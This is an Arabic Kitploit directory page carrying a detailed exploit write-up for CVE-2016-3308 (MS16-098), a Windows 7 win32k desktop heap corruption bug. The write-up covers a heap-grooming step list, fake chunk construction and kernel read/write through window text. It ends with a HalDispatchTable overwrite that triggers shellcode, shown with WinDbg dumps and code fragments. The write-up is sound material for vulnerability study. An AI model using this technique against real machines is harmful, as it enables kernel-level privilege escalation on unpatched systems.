Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2016-3308 — استخدم CVE-2016-3308 لفساد ذاكرة heap لسطح المكتب في win32k | Kitploit
أدوات/GitHubGitHub/jackhuyh/cve-2016-3308
تحليل الذاكرة الجنائيتحليل الثغرات الأمنيةالاستغلالاستغلال الملفات الثنائية
GitHubjackhuyh/cve-2016-3308

CVE-2016-3308

استخدم CVE-2016-3308 لفساد ذاكرة heap لسطح المكتب في win32k

عرض المستودع
121منذ 9 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

استخدم CVE-2016-3308 لإتلاف كومة سطح المكتب win32k

المؤلف : @55-AA، 18 سبتمبر 2016

##مقدمة

كومة سطح المكتب (Desktop heap) هي تجمع نواة يستخدمه win32k، ويمكن استغلالها بواسطة تطبيق وضع المستخدم. سأصف هنا بالتفصيل كيفية تنفيذ استغلال موثوق بحيث يمكن قراءة/كتابة عنوان عشوائي في النواة. هذا الشرح والتحليل المرتبط به تم على تثبيت win7_sp1_x86 (build 17842).

##الثغرة

في 9 أغسطس 2016، أصدرت Microsoft MS16-098. كود الثغرة موجود داخل الدالة win32k!xxxInsertMenuItem، النموذج الأولي للدالة هو:

root@kitploit:~
BOOL xxxInsertMenuItem(
        PMENU pMenu, 
        UINT wIndex, 
        BOOL fByPosition, 
        LPMENUITEMINFOW lpmii, 
        PUNICODE_STRING pstrItem
    );

أولاً لنلق نظرة على كود الخلل الوهمي في xxxInsertMenuItem:

root@kitploit:~
if (pMenu->cItems >= pMenu->cAlloced) {
    if (pMenu->rgItems) {
        pNewItems = (PITEM)DesktopAlloc(
                        pMenu->head.rpdesk,
                        (pMenu->cAlloced + CMENUITEMALLOC) * sizeof(ITEM),
                        DTAG_MENUITEM);
 ......

    pMenu->cAlloced += CMENUITEMALLOC;
    pMenu->rgItems = pNewItems;
    if (wIndex != MFMWFP_NOITEM)
        pItem = MNLookUpItem(pMenu, wIndex, fByPosition, &pMenuItemIsOn);

......

pMenu->cItems++;
if (pItem != NULL) {
    RtlMoveMemory(pItem + 1, pItem, (pMenu->cItems - 1) *
            sizeof(ITEM) - ((char *)pItem - (char *)pMenu->rgItems));
} else {

في الكود أعلاه، عندما تمت إضافة العنصر التاسع (من الأول) إلى pMenu، تم استدعاء DesktopAlloc() لإعادة تخصيص pMenu->rgItems جديد. ثم تم استدعاء MNLookUpItem() للحصول على موقع العنصر في pMenu->rgItems. لكن pItem الذي تم إرجاعه بواسطة MNLookUpItem() هو rgItems لقائمة فرعية أخرى (pSubMenu) بدلاً من pMenu، لذلك عندما تم استدعاء RtlMoveMemory()، تم الكتابة فوق pItem للقائمة الفرعية والباييتات التالية بسبب الحجم الخاطئ للنقل.

التالي هو كود التفكيك حول الخلل، والذي قد يؤدي إلى كتابة فوق الكومة، ويمكن استغلاله لبناء كتلة مزيفة:

root@kitploit:~
0: kd> u win32k!xxxInsertMenuItem+0x1f5 l8
win32k!xxxInsertMenuItem+0x1f5:
95d295af 6bc06c          imul    eax,eax,6Ch
95d295b2 2bc3            sub     eax,ebx
95d295b4 034634          add     eax,dword ptr [esi+34h]
95d295b7 50              push    eax
95d295b8 8d436c          lea     eax,[ebx+6Ch]
95d295bb 53              push    ebx
95d295bc 50              push    eax
95d295bd e85ea40100      call    win32k!memmove (95d43a20)

لتتبع الخلل، أستخدم نقاط التوقف هذه في WinDbg:

root@kitploit:~
ba e1 win32k!xxxInsertMenuItem

ba e1 win32k!xxxInsertMenuItem+0xf3    
95d294e3 e843e70200      call    win32k!DesktopAlloc (836d7bf5)

ba e1 win32k!xxxInsertMenuItem+0x129
95d294e3 e80de70200      call    win32k!DesktopAlloc (836d7bf5)

ba e1 win32k!xxxInsertMenuItem+0x1f5
95d295af 6bc06c          imul    eax,eax,6Ch

من أجل تشغيل الخلل، يجب تنفيذ المراحل التالية:

  1. إنشاء قائمة (menu).
  2. إنشاء قائمة فرعية كأول عنصر (ITEM) في القائمة مع المعرف 0x123، ومن الضروري تعيين MENUITEMINFO.hbmpItem بالقيمة HBMMENU_SYSTEM.
  3. إضافة 7 عناصر أخرى بالمعرفات من 0x1001 إلى 0x1007 إلى القائمة.
  4. إضافة عنصر بالمعرف 1 إلى القائمة الفرعية.
  5. إضافة 8 عناصر أخرى للقائمة الفرعية، من أجل الحصول على tagMENU.rgItems بسعة 16 خانة. لكن هذه الخطوة ليست ضرورية لتشغيل الخلل إذا كنت تحتاج فقط إلى تعطل.
  6. إضافة العنصر التاسع بالمعرف 0x123 إلى القائمة، وبالتالي سيتم استدعاء RtlMoveMemory() المتوقعة بمعاملات خاطئة.

##كومة سطح المكتب (Desktop Heap)

كومة سطح المكتب هي تجمع عام تستخدمه جميع عمليات واجهة المستخدم الرسومية (GUI). جميع كائنات GUI، مثل النافذة والقائمة، مخزنة في كومة سطح المكتب، وتتم إدارتها بواسطة موزع كومة النواة. يستخدم موزع كومة النواة دوال مألوفة مثل RtlAllocateHeap و RtlFreeHeap. على عكس كومة وضع المستخدم، لا تستخدم كومة سطح المكتب أي موزعات أمامية، لذلك لا توجد كومة تجزئة منخفضة (LFH)، ولا قائمة جانبية (Lookaside list)، إلخ. كما لا يوجد ترميز للكومة (Heap Encoding) حتى Windows 8 وما بعده. فيما يلي هيكل الكتلة (trunk) على win7_sp1_x86:

root@kitploit:~
typedef struct _HEAP_ENTRY {
    USHORT Size;
    UCHAR Flags;
    UCHAR SegmentIndex;
    USHORT PreviousSize;
    UCHAR SegmentOffset;
    UCHAR UnusedBytes;
 } HEAP_ENTRY, *PHEAP_ENTRY;

يمثل الحقلان Size و PreviousSize حجم الكتل بعد الإزاحة لليمين بمقدار HEAP_GRANULARITY_SHIFT (المعرف بـ 3 في نظام 32 بت)، يحدد الحقل Size الكتلة الحالية، ويحدد PreviousSize الكتلة الأمامية. عادةً ما يتم تعيين البت الأدنى من Flags إلى HEAP_ENTRY_BUSY (0x01)، مما يمثل أن الكتلة قيد الاستخدام، وإلا إلى 0x00.

يوضح الشكل التالي العلاقة بين هذه الحقول وكتل الكتل. الكلمة المزدوجة (WORD) السفلية الخضراء الثانية (0x000f) تمثل أن حجم الكتلة الحالية هو 0x78 بايت، الكلمة المزدوجة (WORD) السفلية السوداء الثانية (0x0003) تمثل أن حجم الكتلة الأمامية هو 0x18 بايت، والكلمات المزدوجة (WORD) بالخط الأحمر (0x0001) تمثل أن الكتل الحالية قيد الاستخدام. هنا، حجم الكتلة يشمل حجم الرأس، والرأس معرف بهيكل HEAP_ENTRY أعلاه.

هذه هي الميزة الأكثر أهمية لفساد الكومة، حيث يحصل موزع الكومة دائمًا على الكتلة التي تم تحريرها مؤخرًا. هذا يعني أنه يمكننا فعليًا تخصيص كتلة بأي حجم وفي موقع معين نريده.

##الفساد (Corruption)

باستغلال الخلل، يمكنني الكتابة فوق بعض البايتات في كومة سطح المكتب، وبالتالي سأحصل على كتلة مزيفة تحل محل كتلة عادية، ثم أحرر الكتلة المستبدلة، بحيث يتم دفع الكتلة المزيفة إلى أعلى قائمة الكتل الحرة. بعد ذلك يتم إعادة استخدام الكتلة المزيفة، يمكنني كتابة أي بايتات فيها، وتتداخل المنطقة القابلة للكتابة مع عدة كتل عادية، لكنها لا تغطي مساحة النواة بأكملها. لذا أحتاج إلى بناء عملية قراءة/كتابة أولية (R/W primitive) أخرى في المنطقة المتداخلة، تستفيد من tagWND.strName لكتابة عنوان عشوائي. يمكن لمؤشر strName.Buffer أن يقودنا إلى أي مكان بما في ذلك مساحة النواة ومساحة المستخدم. بالطبع، هدفنا هو فقط nt!HalDispatchTable.

يوضح الشكل التالي إجراء تغيير الكومة:

وفقًا للتوضيحات، أقوم بإفساد كومة سطح المكتب خطوة بخطوة، وأنفذ الاستغلال عبر المراحل التالية:

  1. إنشاء بعض النوافذ (Window) بحجم نص WndText يساوي 1، وتكرار الحلقة FILL_HOLE_COUNT مرة لملء الفتحة القديمة.
  2. إنشاء WND_0 إلى WND_5 للتعامل مع بيانات الكتلة.
  3. إنشاء قائمة، وإنشاء قائمة فرعية كأول عنصر في القائمة بالمعرف 0x123. ثم إضافة 7 عناصر أخرى بالمعرفات 0x1001~0x1007 إلى القائمة.
  4. إضافة عنصر بالمعرف 1 و 7 عناصر أخرى بالمعرفات 0x2001~0x2007 إلى القائمة الفرعية.
  5. إضافة العنصر التاسع بالمعرف 0x2008 إلى القائمة الفرعية، من أجل الحصول على tagMENU.rgItems بسعة 16 خانة.
  6. تعيين نص WND_5 بحجم 0x360 بايت لملء الفتحة الأصلية للقائمة الفرعية * 8 عناصر.
  7. تعيين نص WND_1 بحجم 0x70 بايت، تحضير رأس الكتلة المزيفة.
  8. تعيين نص WND_2 بحجم 0x70 بايت، بناء مكان مؤقت للكتلة المزيفة.
  9. تعيين نص WND_0 بحجم 0x6c0 بايت، بناء مكان مؤقت لعناصر القائمة المستقبلية * 16.
  10. إنشاء النافذة الأولية (Primitive-WND) مع tagPROPLIST تم إنشاؤه تلقائيًا.
  11. إنشاء نافذة الفساد (Corrupt-WND) مع tagPROPLIST تم إنشاؤه تلقائيًا.
  12. تعيين نص WND_3 بحجم 0x10 بايت لكتلة مزيفة تالية تتبع تلك الموجودة في الخطوة 8.
  13. حفظ تخطيط الكومة لاستعادته في مرحلة الخروج.
  14. إعادة تعيين نص WND_0 إلى 0x700 بايت، بحيث يتم تحرير فتحة بحجم 0x6c0.
  15. إضافة العنصر التاسع إلى القائمة، حيث يقوم بإعادة استخدام الكتلة التي تم تحريرها في الخطوة 14، وسيتم تشغيل الخلل.
  16. إعادة تعيين نص WND_2 إلى 0x80 بايت، مما يتسبب في دفع الكتلة المزيفة إلى أعلى القائمة الحرة.
  17. تعيين نص Corrupt-WND إلى 0x8e0 بايت، ثم يتم إعادة استخدام الكتلة المزيفة.
  18. عن طريق تعيين نص Primitive-WND، تنفيذ عملية الكتابة الأولية للكتابة فوق nt!HalDispatchTable[1].
  19. تشغيل كود الصدفة (shellcode) عن طريق استدعاء NtQueryIntervalProfile.
  20. استعادة تخطيط الكومة المحفوظ والخروج.

الخطوات الرئيسية المذكورة أعلاه لبناء فنغ شوي الكومة (heap fengshui):

في الخطوة 7، سأبني رأس كومة مزيف في نص WND_1، يحدد حالة الكتلة المستقبلية. كما في القسم الأزرق في الشكل أعلاه، سيقوم بالكتابة فوق القسم الأحمر. المسافة من 'Corrupt HDR' إلى 'red HDR' هي 0x6c، وهو حجم عنصر (ITEM). هذه المعاملات هي كالتالي:

root@kitploit:~
pHeapEntry->PreviousSize = (0x6c8 + 0x78) >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Size = 0x8e8 >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Flags = 1;
pHeapEntry->UnusedBytes = 8;

في الخطوة 12، سأبني رأس الكومة المزيف التالي في نص WND_3، مما يجعل موزع الكومة يعتقد أن هذه الكتل المزيفة متسلسلة بشكل طبيعي.

في الخطوة 15، سيتم تشغيل الخلل. بسبب إضافة العنصر التاسع، يتم إعادة تخصيص قائمة العناصر (ITEMs list)، وإعادة استخدام الكتلة التي تم تحريرها من نص WND_0. وبالتالي، المسافة من 'SubMenuITEMs HDR' إلى 'MenuITEMs HDR' هي (0x6c8+0x78+0x78) بايت، وسيتم الكتابة فوق البيانات داخل هذه المنطقة بواسطة نفسها. في هذه الخطوة، تم إتلاف رؤوس الكتل لـ WND_1 و WND_2 و MenuITEMs، وللخروج من العملية بشكل طبيعي، أحفظ بعض البيانات، بحيث يمكنني استعادتها في الخطوة 20.

في الخطوة 13، أحفظ بعض البيانات قبل إتلافها. ومع ذلك، أنا في وضع المستخدم، لذا لا يمكنني قراءة تلك البيانات داخل مساحة النواة. لحسن الحظ، يوجد قسم (mapped section) في وضع المستخدم، وهو صورة كومة سطح المكتب. على الرغم من أنه للقراءة فقط، إلا أنه كافٍ لغرضي. للحصول على عنوان قسم الصورة في وضع المستخدم، يمكن استخدام Win32ClientInfo، وهو هيكل غير موثق في TEB، دعني أرى:

root@kitploit:~
typedef struct _CLIENTINFO { 
    ULONG_PTR CI_flags; 
    ULONG_PTR cSpins; 
    DWORD dwExpWinVer; 
    DWORD dwCompatFlags; 
    DWORD dwCompatFlags2; 
    DWORD dwTIFlags; 
    PDESKTOPINFO pDeskInfo; 
    ULONG_PTR ulClientDelta;
} CLIENTINFO, *PCLIENTINFO;

typedef struct _DESKTOPINFO { 
    PVOID pvDesktopBase; 
    PVOID pvDesktopLimit; 
} DESKTOPINFO, *PDESKTOPINFO;

الحقلان اللذان نهتم بهما هما pvDesktopBase و ulClientDelta، يشير pvDesktopBase إلى عنوان النواة لكومة سطح المكتب، وقيمة ulClientDelta هي قيمة دلتا تحدد الإزاحة بين صورة وضع المستخدم وعنوان النواة.

بالإضافة إلى ذلك، أحتاج إلى علاقة معيّنة من المقبض (HANDLE) إلى عنوان النواة. يوجد متغير عام باسم gSharedInfo، يتم تصديره بواسطة user32.dll على win7 وما بعده. يتم تعريفه على النحو التالي:

root@kitploit:~
typedef struct _SHAREDINFO{
	PSERVERINFO psi;      
	PHANDLEENTRY aheList;
	ULONG HeEntrySize;
	ULONG_PTR pDispInfo;      
	ULONG_PTR ulSharedDelta;
	ULONG_PTR awmControl[31];
	ULONG_PTR DefWindowMsgs;
	ULONG_PTR DefWindowSpecMsgs;
}SHAREDINFO,*PSHAREDINFO;

وبالتالي، يمكنني الحصول على عنوان النواة من مقبض بواسطة الدالة:

root@kitploit:~
PVOID GetMappedHandlePtr(HANDLE MyHandle, PVOID * UserlandPtr)
{
	HANDLEENTRY * UserHandleTable = g_pSharedInfo->aheList;
	ULONG cEntries = g_pSharedInfo->psi->cHandleEntries;
	ULONG dwIndex = (ULONG)MyHandle & 0xFFFF;
	ULONG dwUniq = (ULONG)MyHandle >> 16;
	if(dwIndex <= cEntries) {
		if (dwUniq == UserHandleTable[dwIndex].wUniq) {
			*UserlandPtr = (PVOID)(
                (ULONG_PTR)UserHandleTable[dwIndex].phead - g_DeltaDesktopHeap);
			return (PVOID)UserHandleTable[dwIndex].phead;
		}
	}
	return NULL;
}

في الخطوتين 17 و 18 و 20، أريد كتابة بعض البايتات إلى مساحة النواة، لذلك أستفيد من نص النافذة. إنه LARGE_UNICODE_STRING مخصص على كومة سطح المكتب ومرتبط بكائن نافذة. يمكننا العثور عليه في هيكل tagWND، على win7_sp1_x86، إزاحته هي 0x84، والإزاحة 0x8c هي المؤشر الذي يمكننا التحكم به للقراءة/الكتابة. في وضع المستخدم، يمكنني استدعاء NtUserDefSetText() لتعيين نص النافذة، سيتم كتابة محتويات النص إلى عنوان النواة الذي نريده.

في الخطوة 19، أشغل الهدف النهائي، كود الصدفة. عن طريق استدعاء NtQueryIntervalProfile() في وضع المستخدم، سيتم استدعاء hal!HaliQuerySystemInformation في الأصل، ولكن تم استبدال مؤشر الدالة الخاص به في nt!HalDispatchTable بواسطة دالتي الخاصة في الخطوة 18. بالمناسبة، عندما يتم تعيين المعامل الأول لـ NtQueryIntervalProfile إلى 1، سيكون هناك اختصار، بسبب الكود التالي عند الإزاحة 84115505:

root@kitploit:~
nt!KeQueryIntervalProfile:
841154fd 8bff            mov     edi,edi
841154ff 55              push    ebp
84115500 8bec            mov     ebp,esp
84115502 83ec10          sub     esp,10h
84115505 83f801          cmp     eax,1
84115508 7507            jne     nt!KeQueryIntervalProfile+0x14 (84115511)
8411550a a108f7fa83      mov     eax,dword ptr [nt!KiProfileAlignmentFixupInterval (83faf708)]
8411550f c9              leave
84115510 c3              ret

بخلاف ذلك، سيتم تنفيذ أي قيمة أخرى.

من أجل تتبع إجراء الفساد بأكمله بشكل ملائم، أطبع بعض القيم المركزية في وحدة التحكم.

وفقًا للمخرجات، يمكننا إلقاء نظرة على تخطيط كومة سطح المكتب الفاسد باستخدام WinDbg.

هذا هو نص WND_1 ونص WND_2 في الخطوة 7 والخطوة 8:

root@kitploit:~
1: kd> db fea2d7a8-8 l78*2
fea2d7a0  0f 00 01 00 d9 00 00 08-00 00 00 00 1d 01 01 00  ................
fea2d7b0  e8 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d800  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d810  00 00 00 00 00 00 00 00-0f 00 01 00 0f 00 00 08  ................
fea2d820  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d830  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d840  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d850  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d860  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d870  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d880  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

هذه هي الحالة بعد استغلالها في الخطوة 15:

root@kitploit:~
0: kd> db fea2d7a8-8 l78*2
fea2d7a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d800  00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00  ................
fea2d810  d9 00 00 08 00 00 00 00-1d 01 01 00 e8 00 00 08  ................
fea2d820  f0 36 a3 fe 10 ca a2 fe-00 00 00 00 00 00 00 00  .6..............
fea2d830  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d840  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d850  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d860  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d870  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d880  00 00 00 00 0f 00 01 00-0f 00 00 08 00 00 00 00  ................

هذه هي الكتلة المزيفة المكتملة:

root@kitploit:~
0: kd> db fea2d820-8
fea2d818  1d 01 01 00 e8 00 00 08-f0 36 a3 fe 10 ca a2 fe  .........6......
fea2d828  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d838  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d848  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d858  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d868  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d878  00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00  ................
fea2d888  0f 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00  ................

هذه هي الكتلة المزيفة المكتملة الثانية:

root@kitploit:~
0: kd> db fea2d820-8 + 11d*8
fea2e100  02 00 01 00 1d 01 00 08-00 00 00 00 00 00 00 00  ................
fea2e110  0d 00 01 00 03 00 00 0c-38 26 a1 fe 80 c1 80 c1  ........8&......
fea2e120  00 00 00 00 40 8c 47 88-00 00 00 00 00 00 c1 00  [email protected].........
fea2e130  00 00 00 00 00 00 00 00-00 00 00 00 18 e1 a2 fe  ................
fea2e140  00 00 00 00 00 00 00 00-00 40 00 00 9c 88 d0 95  .........@......
fea2e150  00 00 00 00 00 00 00 00-00 00 88 00 00 00 00 00  ................
fea2e160  e8 3e b5 ff 06 00 00 00-00 00 00 00 80 e1 a2 fe  .>..............
fea2e170  00 00 00 00 00 00 00 00-05 00 01 00 0d 00 00 09  ................

PrimitiveWnd tagWND.strName

root@kitploit:~
0: kd> db fea2d820 + 78 + 6c8 + 84
fea2dfe4  02 00 00 00 04 00 00 00-fc 53 f7 83 00 00 00 00  .........S......
fea2dff4  60 df a2 fe 17 03 10 00-00 00 00 00 00 00 00 00  `...............
fea2e004  00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00  ................
fea2e014  17 00 00 08 01 00 00 00-01 00 00 00 88 19 7e 01  ..............~.
fea2e024  18 a9 00 00 17 00 01 00-03 00 00 08 fc 03 03 00  ................
fea2e034  03 00 00 00 38 48 96 fe-40 8c 47 88 30 e0 a2 fe  [email protected]...
fea2e044  18 00 08 60 00 07 00 80-00 01 00 00 00 00 cf 04  ...`............
fea2e054  00 00 00 00 00 00 00 00-60 df a2 fe 28 81 a1 fe  ........`...(...

CorruptWnd tagWND.strName

root@kitploit:~
0: kd> db fea2d820 + 78 + 6c8 + d0 + 84
fea2e0b4  de 08 00 00 e0 08 00 00-20 d8 a2 fe 00 00 00 00  ........ .......
fea2e0c4  30 e0 a2 fe 17 03 10 00-00 00 00 00 00 00 00 00  0...............
fea2e0d4  00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00  ................
fea2e0e4  17 00 00 08 01 00 00 00-01 00 00 00 90 1e 7e 01  ..............~.
fea2e0f4  18 a9 00 00 03 00 01 00-03 00 00 08 02 00 01 00  ................
fea2e104  1d 01 00 08 00 00 00 00-00 00 00 00 0d 00 01 00  ................
fea2e114  03 00 00 0c 38 26 a1 fe-80 c1 80 c1 00 00 00 00  ....8&..........
fea2e124  40 8c 47 88 00 00 00 00-00 00 c1 00 00 00 00 00  @.G.............

مؤشر كود الصدفة المستبدل:

root@kitploit:~
0: kd> dds nt!HalDispatchTable
83f753f8  00000004
83f753fc  013711c0
83f75400  83e3c1b4 hal!HalpSetSystemInformation
83f75404  840fe71f nt!xHalQueryBusSlots
83f75408  00000000

0: kd> u 013711c0
013711c0 a188fa3701      mov     eax,dword ptr ds:[0137FA88h]
013711c5 8b0d80fa3701    mov     ecx,dword ptr ds:[137FA80h]
013711cb 894804          mov     dword ptr [eax+4],ecx
013711ce 33c0            xor     eax,eax
013711d0 c21000          ret     10h

##المراجع

  • An Analysis Of MS16-098
  • Exploiting the win32k!xxxEnableWndSBArrows use-after-free (CVE 2015-0057) bug on both 32-bit and 64-bit
  • Kernel Attacks through User-Mode Callbacks
تنزيل الأداة